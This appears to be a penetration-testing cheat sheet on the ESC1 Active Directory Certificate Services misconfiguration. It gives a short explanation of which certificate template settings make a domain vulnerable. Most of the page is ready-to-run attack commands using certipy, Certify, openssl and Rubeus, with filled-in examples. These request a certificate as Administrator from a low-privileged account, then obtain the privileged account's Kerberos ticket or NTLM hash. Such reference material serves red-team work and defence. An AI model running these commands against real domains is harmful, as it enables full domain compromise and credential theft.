ESC1
TL;DR
ESC1 lets you request the certificate as any elevated domain account by requesting a certificate as any user on the domain and use that certificate for client authentication using Kerberos.
A template is vulnerable to ESC1 when a certificate template allows for Client Authentication and allows the account enrolling in the certificate to supply an arbitrary Subject Alternative Name (SAN).
A certificate template with the following configuration is vulnerable to ESC1:
The Enterprise CA grants low-privileged users enrollment rights (commonly 'Authenticated Users').
Manager approval is disabled.
No authorized signatures are required.
An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
Exploit
Start by requesting a certificate using any controlled domain account with the -upn flag specifying any enabled privileged account. This command should output a .pfx file.
certipy req -username [username]@[domain] -password [password] -ca [CA CN] -target [CA FQDN] -template [vuln template] -upn [target account]@[domain]Use the .pfx file to authenticate to the domain controller using Kerberos, allowing you to obtain the NTLM hash for the privileged account.
certipy auth -pfx [.pfx from above] -dc-ip [DC IP]Example
certipy req -username [email protected] -password password123 -ca weelee-DC-CA -target ca.weelee.zip -template VulnTemplate -upn [email protected] -dns dc.weelee.zip
certipy auth -pfx Administrator.pfx -dc-ip 10.10.10.10## Request a certificate with /altname as any elevated account
Certify.exe request /ca:[DC FQDN]\[CA CN] /template:[vuln template] /altname:[target account]
## Covert the .pem output from above to .pfx
openssl pkcs12 -in [.pem file] -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out [.pfx output file]
## Request a TGT with the .pfx
Rubeus.exe asktgt /domain:[domain] /dc:[DC FQDN] /user:[target account] /certificate:[.pfx from above] /password:[password from above command] /pttExample
Certify.exe request /ca:dc.weelee.zip\weelee-DC-CA /template:VulnTemplate /altname:Administrator
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Rubeus.exe asktgt /domain:weelee.zip /dc:dc.weelee.zip /user:Administrator /certificate:cert.pfx /password:certpass123 /pttLast updated